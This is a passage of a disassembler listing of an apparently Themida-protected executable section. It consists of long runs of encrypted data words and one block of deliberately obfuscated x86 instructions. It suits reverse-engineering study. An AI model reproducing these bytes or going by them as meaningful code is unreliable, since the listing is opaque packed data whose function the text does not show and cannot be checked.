3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0E80CC351h, 9, 0E31FB370h, 0B5C90613h, 13E987h, 0CC480000h dd 4C5AD703h, 5C60DDEBh, 5F134A87h, 0C3AAAA7Bh, 85C75FA3h dd 5E21B55h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 75C35343h dd 561B6EBDh, 2CF5958Bh, 0B5FF05E2h, 5E210E5h, 0E818D89h dd 95FF05E2h, 5E20B15h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0ABC35545h, 51E3E5ABh, 0C3991E9Ah, 6ADA8AD8h dd 0B995FF00h db 0Ah, 0E2h word_5560C6 dw 8B05h ; DATA XREF: Themida_:004EEB38o dd 4B7FEBC0h, 19074FD9h, 309B7AB8h, 24773039h, 77729361h dd 0BEBF276h, 49B3BA5Bh, 0F0AA32Fh, 1AE8A716h, 30B78440h dd 2A5D9C45h, 3263FE6Dh, 0B5DC4400h, 28D221BCh, 0AEE87B55h dd 0FE4EAAB7h, 0F2A002DEh, 89A344E5h, 0FAFF5A90h, 42712F27h dd 0A351AA10h, 845DBE04h, 0F851272h, 79A96E5Bh, 0AB2A2BE0h dd 0DCE77BFAh, 0DCF2C10Eh, 0A0D524ABh, 640012CFh, 505DB220h dd 0ED7281E6h, 1A233587h, 8D8D86E9h, 5E88539h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0FAC35646h, 8B67172Ch dd 8D89D1D4h, 5E20BE9h, 0DE8h, 0F0A7AE00h, 811B8FAEh, 0BF3E174Dh dd 0C75E8BC6h, 0E2076185h, 725805h, 0D0816600h, 8E0FD7FBh dd 0 dd 1B5585C7h, 5E2h, 0D6810000h, 1F3268F5h, 1DF1B5FFh, 0BD2905E2h dd 5E230CDh, 0B1595FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 55F37FC3h, 47740614h dd 0DE80740Dh, 0FF006AAFh, 0E20AB995h dword_5561F0 dd 0EBC08B05h, 6EF82C4Dh, 6133A8h, 3A13B7DDh, 7C54424Dh ; DATA XREF: Themida_:004EFE78o dd 88A4EFCEh, 87C210EAh, 0CDF93DC0h, 0DCCDEDB0h, 817EF96Ch dd 0BD605DAh, 0C74B524h, 0E7C6F35Ah, 7B1EEC61h, 63D6ED1Bh dd 1F3AB5CAh, 921951E0h, 0D90E8429h, 5685C3F4h, 0BF1714C4h dd 7E85FF9h, 16000000h, 832FA93Ch, 0BE661139h, 815BB328h dd 6387C3h, 0FB8B6600h, 0B8h, 800F6000h, 6, 0E619D89h dd 0BD2905E2h, 5E22691h, 30C8B61h, 36E9C181h, 8166601Dh dd 814985DFh, 3D6A3EF1h, 56F28133h, 812F66CFh, 132A19C1h dd 21952971h, 8905E219h, 0BA66030Ch, 958B4D21h, 5E22415h dd 6604E883h, 0FD0CD781h, 9CF0F881h, 850FFFFFh, 0FFFFFFB9h dd 2B65B58Bh, 11E805E2h, 0AC000000h, 860064E0h, 0CC3AD1Eh dd 4656F7FBh, 5AE4C87Dh, 26A9BD01h, 0F55E05E2h, 59C4C681h dd 0CE90000h, 0C0000000h, 5F0C470Dh, 378BC87Ah, 2B4EC530h dd 21DA81C9h, 8B2F0F15h, 958B0E1Ch, 5E21D65h, 64CDEB81h dd 0E38A06C2h, 0A121F381h, 0F605B71h, 381h, 0D1B70F00h dd 0A5B58957h, 5A05E22Ch, 71C38161h, 0E87C8F8Dh, 7 dword_556334 dd 0BEA2512h, 31043A38h, 0E215719Dh, 1C895F05h, 93F2810Eh ; DATA XREF: Themida_:004F0958o dd 8B580A8Ah, 0E200E185h, 3E98305h, 0CCF28166h, 0F480495Fh dd 0E0F98169h, 0FFFFFA6h, 0FFFF9685h, 69858BFFh, 8D05E213h dd 0E8876D8Dh, 58B0F05h, 66000000h, 372DE881h, 0E98D89F8h dd 6005E20Bh, 2CA1BD31h, 0B58905E2h, 5E215F1h, 6185C761h dd 6405E207h, 6A000063h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 89F6C355h, 0FC9D9B6Dh dd 1B5585C7h, 5E2h, 0CA800000h, 59B5FFFFh, 6A05E206h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0B436C356h, 1595FF38h, 6A05E20Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 377DC352h dd 0BB228E2h, 0DCE28166h, 0FF006AAEh, 0E20AB995h, 0EBC08B05h dd 0B4F8426Ah, 6C2FAC39h, 52B2FFE2h, 0B7208FADh, 0BAA1B2FCh dd 9CE0B491h, 139F4C2Eh, 0AB336A42h, 8ED68EADh, 0D880CDC9h dd 408BE317h, 0DDAA044Fh, 0B9A40EA9h, 985A8B6Dh, 41560839h dd 0CF4535D9h, 71E796E1h, 376B748Ah, 4ABBB890h, 5ECF9CCFh dd 1A9559D3h, 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh, 42630E6Eh dd 357FB21Ah, 0EB54BD0Bh, 0FCF9D904h, 50CE966h, 4F890000h dd 0FAFA4F4Bh, 0A95110BEh, 4D88F9E5h, 0FDFE434Fh, 0F59C2BB7h dd 616D33A8h, 0CFCBD900h, 963C807Ah, 7A6026D3h, 0ADAE0B7Ah dd 64F9F03Eh, 696EFD39h, 6499D823h, 8F1B05Eh, 0FFF87B82h dd 0A02362B9h, 0FE039137h, 0D7702EEFh, 0FC180A66h, 0D6021CBFh dd 27566859h, 682161EAh, 0FAC43152h, 32767EE1h, 15E1ABEBh dd 6C6A30A9h, 24D9DF1Dh, 91CE0F9Eh, 0FAC63475h, 0D4D00447h dd 98A304B1h, 891CA259h, 0E34F2721h, 0F3B2B5F9h, 0F6678604h dd 877031D5h, 9D5F1E01h, 0C4ADC811h, 0FC18A4AEh, 0CE4135B3h dd 3A043013h, 77B8h, 82763900h, 5D6EEF3Eh, 23696E69h, 0C059D8h dd 6143BF1Fh, 0DF52BB0Ch, 0C4FC1829h, 0A27FB282h, 0B3A04A3h dd 0F90C9048h, 1266B7Ch, 18000000h, 0B228666Eh, 0EB6AB1EEh dd 155CAFEBh, 1E41A4E2h, 0BABB1CDAh, 6BFC18B9h, 1D44A71Ch dd 634FDEDCh, 38A10DF9h, 47010572h, 0D056C36Fh, 9038FB18h dd 2F7E44B9h, 0E96871AEh, 5C2DA9EDh, 0A4E2179Bh, 22D51441h dd 0A5A32F64h, 0C4276D6Eh, 0CE5D599Dh, 3C4F5387h, 227945B5h dd 0EA4E2660h, 0E4522284h, 9C2DA9F7h, 4B9C1ADDh, 1ADFD304h dd 5DC4279Ch, 0B9FC7DDAh, 5E15FC18h, 8A16C28Dh, 82B31497h dd 53FC18B9h, 18B8C3E4h, 7EA3E6DEh, 0CD3A0411h, 67h, 276D6EF1h dd 8D5D9DC4h, 29E44A5Bh, 2BAB1E70h, 0ABEB326Fh, 34A915E1h dd 0A9F5E5A4h, 187ADF90h, 0CC3976FCh, 347A63C6h, 2B676ED1h dd 5398E3AFh, 0FB7D87E6h, 0D459840Bh, 75F43A04h, 187063D4h dd 0E4C5B2FCh, 47BFh, 6D6E8300h, 5F9DC427h, 8F1EA459h dd 0FC0F9544h, 18DF027Fh, 0F6C62592h, 0C5368470h, 6E15D3FFh dd 0E3B12866h, 189E5998h, 4A1776A3h, 0FC18B934h, 0BFCBBB2Dh dd 0B9DA9B3Ch, 3C0BFC18h, 13429FABh, 1E93A04h, 0DD000000h dd 0C7266A6Eh, 0CE5D5B9Ch, 0E08E66E0h, 0C7784877h, 0FCC465Fh dd 0CB63F455h, 38847671h, 8377FAC3h, 0BBD8933Fh, 0C8119097h dd 0FC180B87h, 3CBEE15Eh, 8F285770h, 1FA7FFFh, 83C25916h dd 3C3D9A56h, 0D5F9FA7Fh, 0C4A5219Eh, 29769513h, 0F9FA7F16h dd 1F2B1B4Dh, 7F3A3B9Ch, 96EBF9FAh, 0D8E15E62h, 0BC5A6099h dd 7F8E0CCDh, 668503F4h, 0EC9A6ACCh, 0C920527Bh, 0CA131C7Ch dd 4E545287h, 0E6180DC0h, 0FBE1A03Fh, 71E916B7h, 0DD000001h dd 0AAEEEFAEh, 0DF1C6F2Dh, 0F7BB3F62h, 0AD862794h, 0DA9D8CA0h dd 0C649921Eh, 0C8D40447h, 46AF38BDh, 1FADFE8h, 3F309918h dd 0D6F9FA9Fh, 6DDA4099h, 3AE56DFAh, 0EDAE269Eh, 249B5B6Ch dd 9D2EDE79h, 8CC8FF6h, 0EBFC798Ch, 0A9357364h, 2991FD8h dd 759016C3h, 798C10CAh, 6EBD03F6h, 0E4926224h, 0FAAC1243h dd 3F74C3F9h, 3F7B6FBh, 0E7B47B5h, 0E56D7EFFh, 7634A511h dd 28EF2268h, 4D5C3FE6h, 66000000h, 0D2557918h, 8A26D345h dd 0BF3C4F4Dh, 896A0A9Eh, 3768F130h, 75FC1870h, 0A1C4C832h dd 70060FE8h, 0D3082943h, 44A79C0Ah, 18B37AFBh, 5C2812FCh dd 52D5F998h, 46F750D3h, 9FFC18B3h, 6DBE07A0h, 84FC18B3h dd 0A1BE23AFh, 0C4000000h, 738B7B18h, 5864C8A4h, 0DE7599E3h dd 2398B817h, 0C93073F6h, 555384FBh, 0FD248536h, 0FAEB3A5Ch dd 0CA59CE01h, 0B7F39DB9h, 84F317B0h, 8B19C285h, 2FA82B32h dd 0DB1C6D69h, 84C74EDDh, 0B994254h, 88A40DDEh, 0D5F9FA91h dd 0C374D554h, 1FF9FA95h, 0E267BBF8h, 30B1DD00h, 0FA8BA697h dd 0CB007FF9h, 0E7C48F2h, 14C7C3C9h, 83245B0Fh, 7E37388h dd 743F4E25h, 0A0FBC735h, 0BB01F42Bh, 0FCBA3F22h, 2F0741A9h dd 10944003h, 0C09B6307h, 0D99D36h, 0CC0C2A37h, 33948BC0h dd 9CBD558h, 2A10BEF5h, 0D0577B18h, 1F13851h, 0ED13DB2h dd 499220DBh, 12335E0h, 98E35802h, 671AA059h, 501243E4h dd 74C3F9F0h, 50E354F5h, 4532F9F0h, 16C3A664h, 562C7590h dd 0A15AC5C7h, 36A30FE7h, 0E2176A70h, 356226AEh, 22686FD6h dd 3C787C3Fh, 3C2680ABh, 0BFFDFA48h, 3FA92E13h, 98B76DE8h dd 0AFFE2B28h, 3C4h, 9DA7FE00h, 0D92C686Eh, 0C05B6196h dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h dd 769519C1h, 788307CFh, 0E18951F2h, 4C181h, 0E9830000h dd 240C3304h, 33240C31h db 0Ch, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 5C3Ah mov [esp], edi push esi push 69094A18h mov esi, [esp] add esp, 4 sub esi, 0FF7706Ch sub esi, 532951C5h mov edx, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push ebx push ebp mov ebp, edx mov ebx, ebp pop ebp mov [edi+8], ebx pop ebx push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_4F5CCB ; --------------------------------------------------------------------------- db 8Ah, 10h, 22h dd 50BF78C5h, 97AB2DE8h, 6EB8902Dh, 305E88Ch, 0E4E0FFC5h dd 1E056809h, 2354977Bh, 75354BF0h, 0B05D9AB7h, 257038C8h dd 0C01B3B6Ch db 48h, 8Ch, 2Ch byte_5569CF db 8Dh ; DATA XREF: Themida_:004EF2B8o dd 0E88DB48Dh, 0DDF38005h, 0BE98D89h, 858905E2h, 5E21601h dd 76185C7h, 5AB805E2h, 85C70000h, 5E21B55h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FCC35545h dd 61B58912h, 0F05E206h, 0B5FFF7BFh, 5E21D05h, 0DAF067B8h dd 1595FF10h, 6A05E20Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 13F0C350h, 9CC7FF9Dh dd 0FFFA547h, 689h, 0EDB58B00h, 0BE05E205h, 4FD4C7F6h dd 95FF006Ah, 5E20AB9h, 6CEBC08Bh, 24E14DF3h, 0F53EAD5Bh dd 15168D3Eh, 2C6585B0h, 0A4489668h, 0C921F5C3h, 0FB5152CEh dd 0DB57E85Ah, 6142A8C7h, 0C3240901h, 2D0E5075h, 0AFE64641h dd 7C10A437h, 0ADA52D6Ah, 1B6AFAD8h, 0F2978AD2h, 6FEAA1C2h dd 0B4CB2093h, 1C4FE862h, 99255B1Ch, 9D0B55F8h, 8CAD1167h dd 0BC494ECFh, 0CA84F5h, 521DAFECh, 5A99179Eh, 12AF5BBEh dd 8EE48D8Dh, 6A05E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0A07449C3h, 8E8D634h, 0EA000000h dd 12FB799h, 6602EDCFh, 0AED5DE81h, 0E98D8958h, 8B05E20Bh dd 0E21D79BDh, 6185C705h, 0C005E207h, 6A000064h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 2AFBC355h, 0A3A67B5Bh, 85C77233h, 5E21B55h, 0 dd 0B5FFE28Ah, 5E2325Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 7CC35747h, 0AC58F826h, 75DBD89h, 95FF05E2h dd 5E20B15h, 250DBD8Bh, 0C58A05E2h, 95FF006Ah, 5E20AB9h dd 5FEBC08Bh, 9A78AAB1h, 31B470EFh, 0D42C71h, 0A527F096h dd 595AF29Fh, 59783F6Eh, 3B37CCFCh, 818D6BFAh, 7C516DCFh dd 83CCC8D5h, 0DB524884h, 6A8ABB0h, 0C17082C0h, 842F14FCh dd 0E60CE044h, 13423245h, 78DEB417h, 83F2DEEEh, 1CABB452h dd 0FC8E73D8h, 2307493Bh, 0AAA640ECh, 0AC5BC517h, 0E8EBFFD1h dd 9, 0F0606113h, 0A5550A01h, 58B0FC5h, 66000000h, 0A51ED681h dd 0C78B6659h, 6C62C181h, 0DAB70000h, 0BD29D233h, 5E22BD5h dd 0F113C8Bh, 288h, 81E6B300h, 979DB5C7h, 0F781FC0Eh, 45AD536Bh dd 81F78B66h, 340C96F7h, 0EE971h, 0C3FF0000h, 20F1FBA6h dd 0CB3D0AF9h, 47E49373h, 89113C89h, 0E21CC5BDh, 89BD8905h dd 8305E20Ah, 816603EAh, 4AED06F3h, 2519B58Bh, 0FA8105E2h dd 0FFFF9448h, 18850Fh, 858B0000h, 5E208ADh, 1DE9h, 0A4DC0500h dd 31872927h, 0EC879EC2h, 8D01BAC4h, 5E20EB9h, 0FFFF7FE9h dd 67908CFFh, 0FE85EAAh, 4C000000h, 0D6E0AEBBh, 7A053678h dd 0FCD1E26h, 0B58BB213h, 5E20151h, 75958B5Bh, 8105E20Bh dd 64F1C3h, 0E9958900h, 6805E222h, 190Dh, 117D9D09h, 0E95805E2h dd 14h, 0ACF7211Bh, 5BCC606Dh, 0AC4F7875h, 0A270ED65h dd 45E97BB4h, 958B0B8Bh, 5E224D5h, 75E8C181h, 0C1813554h dd 75067889h, 81BEC280h, 308BBFC1h, 8210BA3Dh, 29514E73h dd 0E20999BDh, 89038F05h, 0E200658Dh, 8AEB8105h, 0F2512F3h dd 38Ah, 0F3B70F00h, 0F386C381h, 0F482512h, 1385h, 2A15BE00h dd 1DE970BAh, 24000000h, 0F5A9F29Ch, 1C03E34Fh, 0E9FB8B66h dd 0FFFFFF98h, 0EFE05D82h, 199376E6h, 0ABC20CFCh, 91C48D8Dh dd 0B58B05E8h, 5E21D8Dh, 12E0F281h, 8D893B9Eh, 5E20BE9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 85C35343h dd 7FCD8E12h, 4DB589E6h, 8905E20Ah, 0E21C9DBDh, 6185C705h dd 0C005E207h, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0EFE1C355h, 0AD1C0E51h dd 8AA22D29h, 5585C7DCh, 5E21Bh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F052C353h dd 11E995A3h, 0DB000000h, 25E15C7Ah, 3AD3B1A7h, 3C9EA90Dh dd 0F9FC9411h, 0FFF28B66h, 0E23045B5h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 459A2E82h, 0F344357Eh, 29506008h, 0E232B9BDh, 0F78B5E05h dd 1595FF61h, 6605E20Bh, 858BC38Bh, 5E22539h, 95FF006Ah dd 5E20AB9h, 0CEBC08Bh, 0A05DC216h, 0CA0ED7C7h, 5A13D7F2h dd 5E8h, 0CD2E5F00h, 85091D1Fh, 5E226A1h, 0C081665Ah, 0C281DD91h dd 6001h, 115B589h, 0B905E2h, 66000000h, 0DD20D681h, 8B0A3C8Bh dd 0E205A985h, 67F78105h, 8938DFE8h, 0E213F99Dh, 7CEF8105h dd 0F91E1072h, 3E13F781h, 60572B26h, 89575861h, 0E208AD8Dh dd 0A048F05h, 0EE8E28Ah, 7F000000h, 44D4D012h, 59C32830h dd 5095EF25h, 7D858B6Eh, 5805E219h, 8B01E983h, 0E21F01B5h dd 49494905h, 81D88B66h, 0FFA0ACF9h, 12850FFFh, 3000000h dd 0E225D19Dh, 18E905h, 90C40000h, 0DC43BC0Fh, 0E95E568Ah dd 0FFFFFF80h, 6732E88Fh, 0B369137Ch, 0AE86BA6h, 0C9000000h dd 0B7DE6D0Ah, 772C5Ah, 0D98D8913h, 5905E210h, 4BC181FCh dd 66000060h, 0A7D1CE81h, 17DD68h, 0CE900h, 670B0000h dd 9BFDA1FFh, 0E250994Dh, 8158CF7Bh, 0A181A3DFh, 3331FF59h dd 0E203D9BDh, 89605B05h, 0E21C4D8Dh, 0FD8D8905h, 6105E217h dd 744BEB81h, 0B58B212Dh, 5E22405h, 339C381h, 0BD8B2B05h dd 5E2138Dh, 0CD89EB81h, 0BD8B2101h, 5E21AA1h, 89018F53h dd 0E21EADBDh, 2E98305h, 0AE9h, 4C1E5700h, 8E7FE56Fh, 497AA610h dd 8B666049h, 0EE9C7h, 0A2CE0000h, 1535A932h, 8DBDFADDh dd 0D1600813h, 850F4861h, 16h, 0E9FB8B66h, 22h, 0CADF3E37h dd 2A3056E9h, 3A05F6A2h, 0E681DE4Fh, 41DBBFFBh, 0FFFF68E9h dd 14F03FFh, 290271EFh db 94h, 74h word_557022 dw 7582h ; DATA XREF: Themida_:004EF4B4o ; Themida_:004EF904o dd 690889A0h, 0A6DC7814h, 0C764D38Dh, 0A12E8635h, 25908635h dd 254813D9h, 0AC990530h, 25176430h, 2581023Fh, 98078630h dd 20A09545h, 5EA58930h, 0E3908630h, 0C742CFB5h, 14CC835h dd 0A4CE6F43h, 816DA204h, 907BF29Bh, 20A086B9h, 5F4003BDh dd 0F56F83D5h, 0A08E76BBh, 20C68C79h, 25166E7Eh, 0F2498630h dd 0AED42E72h, 0AE46A274h, 1650F30h, 906FDE34h, 20AA9545h dd 5F4503BDh, 0F5ED83D5h, 35B07EBBh, 0CC848630h, 25428638h dd 2BA48996h, 6C908630h, 0A0474F3Bh, 0DADB79C0h, 25128BD9h dd 67940B30h, 9D81647Ch, 25428635h, 98AC65CFh, 2078155Bh dd 0B1790BBDh, 379C83D8h, 0E94B615h, 758247FFh, 690889A0h dd 0A6DC7814h, 0C764D38Dh, 0A12E8635h, 25908635h, 254813D9h dd 0AC990530h, 0F305E983h, 22B9A4h, 0DE80000h, 62000000h dd 2DF33794h, 152BF154h, 0FBB08BF3h, 0DE8h, 0F7FF0D00h dd 0EFC43F2Ah, 9ABCF87Ah, 0FE8109Bh, 5E000000h, 0F46B0380h dd 18E456E5h, 1DB53F61h, 8E95F10h, 69000000h, 84709FF3h dd 5FF71FE7h, 9D8B585Fh, 5E223E1h, 6AE8C081h, 85890000h dd 5E20D61h, 0B9h, 9D095600h, 5E2242Dh, 8148B5Bh, 6870Fh dd 9D8B0000h, 5E2065Dh, 8FDF281h, 9D315D0Eh, 5E216E1h dd 0C0D0F281h, 858973D8h, 5E204C5h, 2089EA81h, 0CF804872h dd 81489F5h, 2CF98D89h, 0B58905E2h, 5E218E1h, 0B308E981h dd 80606151h, 8B66E0D8h, 0C18161CEh, 6151B304h, 13CD8D09h dd 0F98105E2h, 0FFFF95F4h, 0E850Fh, 14E90000h, 21000000h dd 631233Ah, 559498CFh, 0FFFF88E9h, 353047FFh, 8DFCEE66h dd 0E895CA8Dh, 5E905h, 0E7230000h, 89EC6EB4h, 0E20BE98Dh dd 0CE905h, 0F1590000h, 0D83A3B6h, 0BE6DAD8h, 85C7FE94h dd 5E20761h, 720Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 9EC35242h, 6C24544Ah, 3192B881h, 0E20509B5h dd 5585C705h, 5E21Bh, 0B8000000h, 59974D48h, 18EDB5FFh dd 958905E2h, 5E229C1h, 0FC98D31h, 95FF05E2h, 5E20B15h dd 424DE881h, 6A389Bh, 0AB995FFh db 0E2h byte_557281 db 5, 8Bh, 0C0h ; DATA XREF: Themida_:004EEC80o dd 0DED659EBh, 0D893476Ah, 0CE838EB0h, 925579A4h, 5209A7EDh dd 135F7BD2h, 55A28302h, 99583B8Dh, 0B437BFF5h, 0D5E50DBEh dd 0EFDB3F07h, 649CF6EBh, 9BE62A0Ch, 126ADB9Ch, 0DB581D2Dh dd 5E3C5D26h, 0C66C5322h, 6446DF6Ah, 2F2BA31Eh, 9DE03B35h dd 95C45D7Eh, 6115A1A7h, 0EB24BA52h, 20C1C804h, 81EE955h dd 9B5D0000h, 468EF31Fh, 0F5E54442h, 995C2DA9h, 49B2F713h dd 41205F7Bh, 95317F7Ch, 739F25D4h, 0DAC0CC0Eh, 0AE347267h dd 79FA5FA6h, 0A8F9F02Fh, 0FA8821E5h, 0C6FC18B9h, 0D93B5711h dd 0C8633308h, 0DF447793h, 5FD374EBh, 0B601FA6Ch, 0BA23A2F9h dd 0C93275F4h, 4524E2FBh, 4CF71694h, 44FE0D8Bh, 33A412E2h dd 59D86975h, 0FA6E7FF0h, 0D996F9h, 0E6EAA77Ah, 76043Fh dd 6E3E0000h, 9DC4276Dh, 0D9F38E60h, 0DA5C3540h, 25D71E6Dh dd 14C30299h, 7DFF7796h, 79C33789h, 0F6BC218Dh, 0E46FA2E8h dd 49DC3A04h, 0E6000000h, 0C4276D6Eh, 18B9C77Bh, 0B806F5FCh dd 0BDF5E26Dh, 0A328733Fh, 83C51776h, 0CB754DB3h, 0CD0C4FFBh dd 505480C7h, 8D13C877h, 0E677E001h, 0BD8CA599h, 0C4E6123Bh dd 8D4AAE69h, 1BD53Ch, 0C5520000h, 6FB98DEEh, 0EFDBEC4Fh dd 0C4276D6Eh, 18B9C47Bh, 0D9AD9BFCh, 0A422706Dh, 577B18BEh dd 892E51D0h, 0FC18B9C8h, 30992219h, 1FADAD2h, 16C58425h dd 98BEBF88h, 1857F9FAh, 9C3DBCA3h, 0F9FA98DBh, 81AC3D0Ah dd 88169A5Eh, 0E051F679h, 31F9FA98h, 0FAFE617Ah, 989ADB7Ch dd 364BF9FAh, 0FA98A091h, 0CD3A71F9h, 97BC7590h, 4A0D8CB3h dd 7CF90C90h, 0C2C0026Bh, 0D8730418h, 72A8B8B7h, 0F5104DC8h dd 0BC73E42Dh, 9AC9539Ch, 0F5C18952h, 414D5189h, 51B4F8E0h dd 0DC3E5708h, 0ECA455F7h, 1570ADEBh, 3E8CCD6Ah, 0EE45F7DCh dd 2D783EBBh, 6A932174h, 3781712Ah, 0EEF34531h, 0ACF0E8ABh dd 1763531Bh, 5226D5E3h, 0DCC944F5h, 69A69DF7h, 8F4A0D3Ch dd 1EBBFA01h, 0F7DCC95Dh, 7942BFF4h, 7E18A7ADh, 704A9452h dd 8723696Eh, 75B39AEh, 5260B5CCh, 55D79D89h, 3D040788h dd 37C7h, 7E18FB00h, 9AE9452h, 0FC18B948h, 692FA899h, 94AEB63Ch dd 23266A6Eh, 94357B60h, 8EF170D6h, 8066474Dh, 2C8Eh, 894C0F00h dd 0EDAFF803h, 0AD560A7Ah, 1BEFF835h, 0A3587E18h, 0AE1AA01Dh dd 18B94809h, 0CBF764FCh, 6C6C2FAEh, 6EA38720h, 7098266Ah dd 0FF696E4Ah, 0BE1F3300h, 1514413Dh, 5F043592h, 0D506FC18h dd 133FBCCFh, 9FF88324h, 0FC1DDC70h, 9FEBDB9Dh, 0BC2D5C5Ah dd 837774FAh, 0EE6FEC3Fh, 4B9C62B3h, 0A3F1EA5Fh, 5F96D958h dd 3089C259h, 0A7C6CC31h, 0ADD9AD0Fh, 5FAEEAEAh, 5982CD1Eh dd 0CC14F4Bh, 0A33A0993h, 4Bh, 0EAEFAE87h, 316E32A6h, 6030A9A8h dd 65D6357Bh, 7FE4DD28h, 0A5129841h, 0D58623A2h, 0CFC18B9h dd 0A8F3BF3Dh, 0AAD5F623h, 0FACF490Dh, 50AB8001h, 0EE9C68D2h dd 4672BAFh, 206490D7h, 991FD887h, 385BCC7Dh, 7C822FA2h dd 6EAE9C2Dh, 7D3C2369h, 81AC3D79h, 0CA0D2B28h, 0C73CB9CCh dd 0C2A3E740h, 6DDA01FAh, 7E187B61h, 39AE9452h, 0DF048323h dd 0D8434894h, 3375804h, 45F653D6h, 9CFC1815h, 347F06A7h dd 0E1048275h, 0EB32767Eh, 0D6943562h, 8723696Eh, 39AE0F35h dd 0A5186307h, 25419AADh, 3D047CF8h, 5357h, 8947D000h dd 0D614A635h, 13995C83h, 39AEFCCAh, 7BB9CBE6h, 0BEFAFA85h dd 878F7841h, 5F7B6A9h, 0AE5A20B9h, 0FD6F6C2Fh, 0EBB19FE6h dd 0E03B70B5h, 4809526Bh, 99FC18C7h, 0F9FCBFA2h, 0DAE368B3h dd 6C2FAEECh, 0AC9A2369h, 98266A6Eh, 198E4A70h, 0B4000000h dd 94527E18h, 0B94809AEh, 0FD64FC18h, 7846B3FFh, 6A6E94AEh dd 4A709826h, 40E9696Eh, 0FC18B90Fh, 0D3C69C6h, 0F90C904Ah dd 41C06B7Ch, 4AD1D71Eh, 0B05FB801h, 5DFC1D3Ah, 8A1F2B1Bh dd 689222ADh, 0AB9637CDh, 1F62682Eh, 0CAB5D0DEh, 3E934B8Bh dd 656F1549h, 3FBCCF04h, 743AA3AEh, 6B5B9D11h, 0CAD0DE1Fh dd 8CF914Ch, 1CBD3C3Ah, 0FC1C095Bh, 0E72CBD8Ah, 2Ah, 29696EDBh dd 54B7ECB2h, 0AFD2F69Bh, 0FAD2680Ah, 4706BB01h, 3C3D0E94h dd 0EF9FAA0h, 0E259C5CBh, 6A2C56B5h, 0EDAB2C9Ah, 696EFBE1h dd 9EEDB129h, 3E61E05Dh, 22ABF2B6h, 1805F299h, 0F3B23534h dd 0EC8580Ah, 0C6D34DA7h, 0E0F97289h, 0FADE6387h, 2FA79A01h dd 11903E6Bh, 0C5E6AA2Eh, 0B339AEE1h, 0DA44F4FBh, 55FDB617h dd 704A737Fh, 8723696Eh, 1F5B435h, 55462485h, 3D040788h dd 26C7h, 7E18FB00h, 9AE9452h, 0FC18B948h, 0AE04A299h dd 266A6E94h, 4EF17098h, 18B968E9h, 0F9C2B9FCh, 1D8E0Dh dd 18B40000h, 0AE94527Eh, 18B94809h, 0CBF764FCh, 6A6E94AEh dd 0D60F51FAh, 144156B2h, 6E4A70AEh, 0ECB22969h, 0E40B54B7h dd 31FC1D3Ah, 0C6337F77h, 7267DAC0h, 7B18D134h, 7377D057h dd 0B101FE40h, 33A8A90Eh, 4974F9FEh, 9CF3C2B4h, 3881FE64h dd 430995E2h, 94527E18h, 0A9E7EFAEh, 0DD1E6D31h, 0BD1A0560h dd 0FC18B9BCh, 18A11E55h, 696E897Dh, 0F358723h, 4078855h dd 5CC73Dh, 18FB0000h, 0AC2F527Eh, 0B9CB8C2Dh, 2D1AFC18h dd 18B95B1Ch, 2CBD8AFCh, 4809AE5Eh, 99FC18B9h, 0B98ECF68h dd 0E847FC18h, 0B99FD079h, 0F9B6FC18h, 20DA9D8Ch, 0AE7F4B9Ch dd 2C6A6E94h, 519AE1AFh, 45E265E4h, 0FC18B914h, 4EDDE316h dd 0B520010Dh, 0EA2794F7h, 4A7015D1h, 2F8Eh, 7E18B400h dd 8813A158h, 0AEA81643h, 18B94809h, 0CBF764FCh, 0ACECEFAEh dd 0D005602Ch, 0E7DF429Bh, 0A3E7EFAEh, 1FA3571Ah, 0EBEFAED3h dd 814506A7h, 0D823696Eh, 13DF1659h, 18B985B6h, 0AAE75CFCh dd 78C11A53h, 0FC1D3A59h, 6412E2A4h, 0DFE8B625h, 0A5216790h dd 484913C4h, 62917BF4h, 318E1D4Ah, 8609382Ch, 38B1A207h dd 376DFC1Ch, 849AC032h, 5962D945h, 0FE7BE6F0h, 0C3380901h dd 73A19237h, 3B70F9FEh, 4F7591CEh, 94527E18h, 696E704Ah dd 0B2EFB329h, 0ECDC1A8Fh, 73A5C8Fh, 0F35C0A6h, 4078855h dd 1D54C53Dh, 7B01360Eh, 258409D2h, 0BE000000h, 2F527E18h dd 0ECE9B7BAh, 75567971h, 4809AEB1h, 99FC18B9h, 94AE04A2h dd 98266A6Eh, 3E8E4A70h, 0B4000000h, 9C587E18h, 0AE07A318h dd 18B94809h, 5A1582FCh, 1546E3E8h, 0CCFC18B2h, 0A748E677h dd 4C5088FFh, 22BBC39h, 7A4F4909h, 3F22E1A9h, 18EBD99Ah dd 0C63308FCh, 6E94AEF8h, 7098266Ah, 23696E4Ah, 